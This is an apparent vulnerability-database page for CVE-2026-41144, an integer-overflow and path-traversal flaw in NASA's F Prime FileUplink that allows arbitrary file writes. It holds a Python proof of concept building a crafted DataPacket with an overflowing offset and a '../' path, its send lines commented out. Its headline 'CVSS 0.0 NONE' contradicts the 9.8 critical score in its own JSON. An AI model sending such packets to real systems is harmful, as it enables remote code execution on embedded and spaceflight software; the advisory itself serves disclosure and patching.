Security Vulnerability Report
中文
CVE-2026-41144 CVSS 0.0 NONE

CVE-2026-41144

Published: 2026-04-22 00:16:30
Last Modified: 2026-05-21 18:17:36

Description

F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to version 4.2.0, the bounds check byteOffset + dataSize > fileSize uses U32 addition that wraps around on overflow. An attacker-crafted DataPacket with byteOffset=0xFFFFFF9C and dataSize=100 overflows to 0, bypassing the check entirely. The subsequent file write proceeds at the original ~4GB offset. Additionally, Svc/FileUplink/File.cpp:20-31 performs no sanitization on the destination file path. Combined, these allow writing arbitrary data to any file at any offset. The impact is arbitrary file write leading to remote code execution on embedded targets. Note that this is a logic bug. ASAN does not detect it because all memory accesses are within valid buffers — the corruption occurs in file I/O. Version 4.2.0 contains a patch. No known workarounds are available.

CVSS Details

CVSS Score
0.0
Severity
NONE
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:nasa:fprime:4.1.1:*:*:*:*:*:*:* - VULNERABLE
F´ (F Prime) < 4.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import struct # Target configuration TARGET_IP = "192.168.1.100" TARGET_PORT = 5000 # Exploit parameters derived from vulnerability analysis # byteOffset = 0xFFFFFF9C, dataSize = 100 # The sum overflows U32 to 0, bypassing the bounds check. byte_offset = 0xFFFFFF9C data_size = 100 payload_data = b"A" * 100 # Arbitrary payload malicious_path = b"../../tmp/malicious.bin" # Unsanitized path # Construct the malicious DataPacket # Format: [PathLen][Path][Offset][Size][Data] packet = struct.pack("<I", len(malicious_path)) packet += malicious_path packet += struct.pack("<I", byte_offset) packet += struct.pack("<I", data_size) packet += payload_data # Send exploit print(f"Sending exploit to {TARGET_IP}...") # sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # sock.connect((TARGET_IP, TARGET_PORT)) # sock.send(packet) # sock.close()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41144", "sourceIdentifier": "[email protected]", "published": "2026-04-22T00:16:29.550", "lastModified": "2026-05-21T18:17:35.850", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "F´ (F Prime) is a framework that enables development and deployment of spaceflight and other embedded software applications. Prior to version 4.2.0, the bounds check byteOffset + dataSize > fileSize uses U32 addition that wraps around on overflow. An attacker-crafted DataPacket with byteOffset=0xFFFFFF9C and dataSize=100 overflows to 0, bypassing the check entirely. The subsequent file write proceeds at the original ~4GB offset. Additionally, Svc/FileUplink/File.cpp:20-31 performs no sanitization on the destination file path. Combined, these allow writing arbitrary data to any file at any offset. The impact is arbitrary file write leading to remote code execution on embedded targets. Note that this is a logic bug. ASAN does not detect it because all memory accesses are within valid buffers — the corruption occurs in file I/O. Version 4.2.0 contains a patch. No known workarounds are available."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N", "baseScore": 0.0, "baseSeverity": "NONE", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 0.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nasa:fprime:4.1.1:*:*:*:*:*:*:*", "matchCriteriaId": "32D82320-65FE-412C-9588-FE47713A2D46"}]}]}], "references": [{"url": "https://github.com/nasa/fprime/commit/cacdd555456bd83ab395b521d56c0330470ea798", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/nasa/fprime/security/advisories/GHSA-qmvv-rxh4-ccqh", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}